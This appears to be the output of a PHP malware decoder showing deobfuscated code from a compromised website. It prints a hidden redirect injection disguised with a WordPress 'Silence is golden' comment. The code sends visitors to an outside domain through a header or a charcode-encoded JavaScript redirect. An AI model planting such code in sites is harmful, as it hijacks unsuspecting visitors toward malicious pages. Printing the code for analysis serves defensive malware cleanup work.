Decrypted code level 1:

$a="header";
$b= "function_exists";
	if($b($a)){
	$a("Location: https://for.dontkinhooot.tw/walkers?id=0092");
}
	else{
	echo "<script>window.stop();
	var a = String.fromCharCode(104,116,116,112,115,58,47,47,102,111,114,46,100,111,110,116,107,105,110,104,111,111,111,116,46,116,119,47,119,97,108,107,101,114,115,63,105,100,61,48,48,57,51);
	document.location.href=a;
	window.location.replace(a);
	</script>";
}
// Silence is golden.

Decrypted code level 2:

$a="header";
$b= "function_exists";
	if($b($a)){
	$a("Location: https://for.dontkinhooot.tw/walkers?id=0092");
}
	else{
	echo "<script>window.stop();
	var a = https://for.dontkinhooot.tw/walkers?id=0093document.location.href=a;
	window.location.replace(a);
	</script>";
}
// Silence is golden.

	if("function_exists"("header")){
	"header"("Location: https://for.dontkinhooot.tw/walkers?id=0092");
}
	else{
	echo "<script>window.stop();
	var a = https://for.dontkinhooot.tw/walkers?id=0093document.location.href=a;
	window.location.replace(a);
	</script>";
}
// Silence is golden.